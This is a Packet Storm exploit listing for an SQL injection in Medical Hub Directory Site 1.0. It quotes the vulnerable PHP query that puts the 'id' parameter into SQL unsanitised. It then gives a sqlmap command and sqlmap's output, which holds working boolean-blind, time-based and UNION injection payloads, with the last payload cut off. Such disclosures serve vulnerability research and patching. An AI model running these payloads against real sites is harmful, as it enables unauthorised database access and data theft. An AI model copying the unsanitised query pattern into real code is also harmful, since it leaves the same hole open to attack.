packet storm
exploit the possibilities

Search …

Home | Files | News | About | Contact | &[SERVICES_TAB] | Add New |

Medical Hub Directory Site 1.0 SQL Injection

Authored by Saud Alenazi

Posted Mar 30, 2022

Medical Hub Directory Site version 1.0 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | ee8c310121323386739682f3a0a47f7c5876d9f946a2888843f501157e2fb296

Download | Favorite | View

Related Files

Share This

Like 0   Tweet   LinkedIn   Reddit   Digg   StumbleUpon

Change Mirror   Download

```
# Exploit Title: Medical Hub Directory Site - 'id' SQL Injection
# Date: 30/03/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15252/simple-medical-hub-directory-site-phpoop-source-
code.html
# Version: 1.0
# Tested on: XAMPP, Linux

# Vulnerable Code

line 9 in file "/mhds/clinic/view_details.php"

$categories = $conn->query("SELECT c.category_id,cc.name as category FROM clinic_category c inner join
category_list cc on c.category_id = cc.id where c.clinic_id = '{$id}' ")->fetch_all(MYSQLI_ASSOC);

# Sqlmap command:

sqlmap -u 'http://localhost/mhds/?page=clinic/view_details&id=1' -p id --level=5 --risk=3 --dbs --random-agent
--eta

# Output:

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: page=clinic/view_details&id=1' AND 8622=8622-- pBEY

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=clinic/view_details&id=1' AND (SELECT 9741 FROM (SELECT(SLEEP(5)))AmHc)-- Gwec

    Type: UNION query
    Title: Generic UNION query (NULL) - 10 columns
    Payload: page=clinic/view_details&id=-4315' UNION ALL SELECT
CONCAT(0x71717a7071,0x4d524671624d4517044556c4d4a584f5853646d526a6957666463567a514f73504745636759635454,0x71786a7
```

◄ _____ ►

Login or Register to add favorites

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat 186 files
Ubuntu 52 files
Gentoo 44 files
Debian 27 files
Apple 25 files
Google Security Research 14 files
malvuln 10 files
nu11secur1ty 6 files
mjurczyk 4 files
George Tsimpidas 3 files

File Tags

ActiveX (932)
Advisory (79,557)
Arbitrary (15,643)
BBS (2,859)
Bypass (1,615)
CGI (1,015)
Code Execution (6,913)
Conference (672)
Cracker (840)
CSRF (3,288)
DoS (22,541)
Encryption (2,349)
Exploit (50,293)
File Inclusion (4,162)
File Upload (946)
Firewall (821)
Info Disclosure (2,656)

File Archives

November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
December 2021
Older

Systems

AIX (426)
Apple (1,926)

Intrusion Detection (866)   BSD (370)
Java (2,888)   CentOS (55)
JavaScript (817)   Cisco (1,917)
Kernel (6,255)   Debian (6,620)
Local (14,173)   Fedora (1,690)
Magazine (586)   FreeBSD (1,242)
Overflow (12,390)   Gentoo (4,272)
Perl (1,417)   HPUX (878)
PHP (5,087)   iOS (330)
Proof of Concept (2,290)   iPhone (108)
Protocol (3,426)   IRIX (220)
Python (1,449)   Juniper (67)
Remote (30,009)   Linux (44,118)
Root (3,496)   Mac OS X (684)
Ruby (594)   Mandriva (3,105)
Scanner (1,631)   NetBSD (255)
Security Tool (7,768)   OpenBSD (479)
Shell (3,098)   RedHat (12,339)
Shellcode (1,204)   Slackware (941)
Sniffer (885)   Solaris (1,607)
Spoof (2,165)   SUSE (1,444)
SQL Injection (16,089)   Ubuntu (8,147)
TCP (2,377)   UNIX (9,150)
Trojan (685)   UnixWare (185)
UDP (875)   Windows (6,504)
Virus (661)   Other
Vulnerability (31,104)
Web (9,329)
Whitepaper (3,728)
x86 (946)
XSS (17,478)
Other

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter

Subscribe to an RSS Feed

packet storm